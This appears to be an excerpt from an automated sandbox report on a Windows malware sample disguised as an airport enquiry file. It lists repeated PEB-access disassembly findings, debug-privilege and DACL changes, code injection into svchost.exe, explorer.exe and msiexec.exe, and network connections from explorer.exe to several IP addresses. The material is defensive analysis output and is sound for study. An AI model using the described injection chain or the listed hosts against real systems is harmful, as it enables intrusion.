Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030545B1 mov eax, dword ptr fs:[00000030h]	1_2_030545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E5CF mov eax, dword ptr fs:[00000030h]	1_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E5CF mov eax, dword ptr fs:[00000030h]	1_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030365D0 mov eax, dword ptr fs:[00000030h]	1_2_030365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030325E0 mov eax, dword ptr fs:[00000030h]	1_2_030325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C5ED mov eax, dword ptr fs:[00000030h]	1_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C5ED mov eax, dword ptr fs:[00000030h]	1_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]	1_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]	1_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]	1_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]	1_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]	1_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]	1_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C427 mov eax, dword ptr fs:[00000030h]	1_2_0302C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]	1_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]	1_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EA456 mov eax, dword ptr fs:[00000030h]	1_2_030EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302645D mov eax, dword ptr fs:[00000030h]	1_2_0302645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305245A mov eax, dword ptr fs:[00000030h]	1_2_0305245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BC460 mov ecx, dword ptr fs:[00000030h]	1_2_030BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]	1_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]	1_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]	1_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EA49A mov eax, dword ptr fs:[00000030h]	1_2_030EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030364AB mov eax, dword ptr fs:[00000030h]	1_2_030364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030644B0 mov ecx, dword ptr fs:[00000030h]	1_2_030644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_030BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030304E5 mov ecx, dword ptr fs:[00000030h]	1_2_030304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104B00 mov eax, dword ptr fs:[00000030h]	1_2_03104B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]	1_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305EB20 mov eax, dword ptr fs:[00000030h]	1_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305EB20 mov eax, dword ptr fs:[00000030h]	1_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F8B28 mov eax, dword ptr fs:[00000030h]	1_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F8B28 mov eax, dword ptr fs:[00000030h]	1_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E4B4B mov eax, dword ptr fs:[00000030h]	1_2_030E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E4B4B mov eax, dword ptr fs:[00000030h]	1_2_030E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03102B57 mov eax, dword ptr fs:[00000030h]	1_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03102B57 mov eax, dword ptr fs:[00000030h]	1_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03102B57 mov eax, dword ptr fs:[00000030h]	1_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03102B57 mov eax, dword ptr fs:[00000030h]	1_2_03102B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C6B40 mov eax, dword ptr fs:[00000030h]	1_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C6B40 mov eax, dword ptr fs:[00000030h]	1_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FAB40 mov eax, dword ptr fs:[00000030h]	1_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D8B42 mov eax, dword ptr fs:[00000030h]	1_2_030D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028B50 mov eax, dword ptr fs:[00000030h]	1_2_03028B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DEB50 mov eax, dword ptr fs:[00000030h]	1_2_030DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302CB7E mov eax, dword ptr fs:[00000030h]	1_2_0302CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040BBE mov eax, dword ptr fs:[00000030h]	1_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040BBE mov eax, dword ptr fs:[00000030h]	1_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_030E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_030E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]	1_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]	1_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]	1_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]	1_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]	1_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]	1_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_030DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]	1_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]	1_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]	1_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305EBFC mov eax, dword ptr fs:[00000030h]	1_2_0305EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_030BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BCA11 mov eax, dword ptr fs:[00000030h]	1_2_030BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306CA24 mov eax, dword ptr fs:[00000030h]	1_2_0306CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305EA2E mov eax, dword ptr fs:[00000030h]	1_2_0305EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03054A35 mov eax, dword ptr fs:[00000030h]	1_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03054A35 mov eax, dword ptr fs:[00000030h]	1_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]	1_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040A5B mov eax, dword ptr fs:[00000030h]	1_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040A5B mov eax, dword ptr fs:[00000030h]	1_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]	1_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]	1_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]	1_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DEA60 mov eax, dword ptr fs:[00000030h]	1_2_030DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030ACA72 mov eax, dword ptr fs:[00000030h]	1_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030ACA72 mov eax, dword ptr fs:[00000030h]	1_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]	1_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104A80 mov eax, dword ptr fs:[00000030h]	1_2_03104A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068A90 mov edx, dword ptr fs:[00000030h]	1_2_03068A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038AA0 mov eax, dword ptr fs:[00000030h]	1_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038AA0 mov eax, dword ptr fs:[00000030h]	1_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03086AA4 mov eax, dword ptr fs:[00000030h]	1_2_03086AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]	1_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]	1_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]	1_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030AD0 mov eax, dword ptr fs:[00000030h]	1_2_03030AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03064AD0 mov eax, dword ptr fs:[00000030h]	1_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03064AD0 mov eax, dword ptr fs:[00000030h]	1_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306AAEE mov eax, dword ptr fs:[00000030h]	1_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306AAEE mov eax, dword ptr fs:[00000030h]	1_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE908 mov eax, dword ptr fs:[00000030h]	1_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE908 mov eax, dword ptr fs:[00000030h]	1_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BC912 mov eax, dword ptr fs:[00000030h]	1_2_030BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028918 mov eax, dword ptr fs:[00000030h]	1_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03028918 mov eax, dword ptr fs:[00000030h]	1_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B892A mov eax, dword ptr fs:[00000030h]	1_2_030B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C892B mov eax, dword ptr fs:[00000030h]	1_2_030C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0946 mov eax, dword ptr fs:[00000030h]	1_2_030B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104940 mov eax, dword ptr fs:[00000030h]	1_2_03104940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]	1_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]	1_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]	1_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307096E mov eax, dword ptr fs:[00000030h]	1_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307096E mov edx, dword ptr fs:[00000030h]	1_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0307096E mov eax, dword ptr fs:[00000030h]	1_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D4978 mov eax, dword ptr fs:[00000030h]	1_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D4978 mov eax, dword ptr fs:[00000030h]	1_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BC97C mov eax, dword ptr fs:[00000030h]	1_2_030BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]	1_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030309AD mov eax, dword ptr fs:[00000030h]	1_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030309AD mov eax, dword ptr fs:[00000030h]	1_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B89B3 mov esi, dword ptr fs:[00000030h]	1_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B89B3 mov eax, dword ptr fs:[00000030h]	1_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B89B3 mov eax, dword ptr fs:[00000030h]	1_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C69C0 mov eax, dword ptr fs:[00000030h]	1_2_030C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030649D0 mov eax, dword ptr fs:[00000030h]	1_2_030649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_030FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_030BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030629F9 mov eax, dword ptr fs:[00000030h]	1_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030629F9 mov eax, dword ptr fs:[00000030h]	1_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BC810 mov eax, dword ptr fs:[00000030h]	1_2_030BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov ecx, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]	1_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A830 mov eax, dword ptr fs:[00000030h]	1_2_0306A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D483A mov eax, dword ptr fs:[00000030h]	1_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D483A mov eax, dword ptr fs:[00000030h]	1_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03042840 mov ecx, dword ptr fs:[00000030h]	1_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060854 mov eax, dword ptr fs:[00000030h]	1_2_03060854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034859 mov eax, dword ptr fs:[00000030h]	1_2_03034859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034859 mov eax, dword ptr fs:[00000030h]	1_2_03034859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BE872 mov eax, dword ptr fs:[00000030h]	1_2_030BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BE872 mov eax, dword ptr fs:[00000030h]	1_2_030BE872

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CD81F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00CD81F7

Source: C:\Windows\SysWOW64\svchost.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAA395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CAA395
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CAA364 SetUnhandledExceptionFilter,	0_2_00CAA364
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_00979C10 SetUnhandledExceptionFilter,	3_2_00979C10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_009795F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_009795F0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.224.212.214 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 76.223.105.230 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.18.23.89 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.235.46.96 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.18.24.121 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\svchost.exe	Thread register set: target process: 2580			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread register set: target process: 2580			Jump to behavior

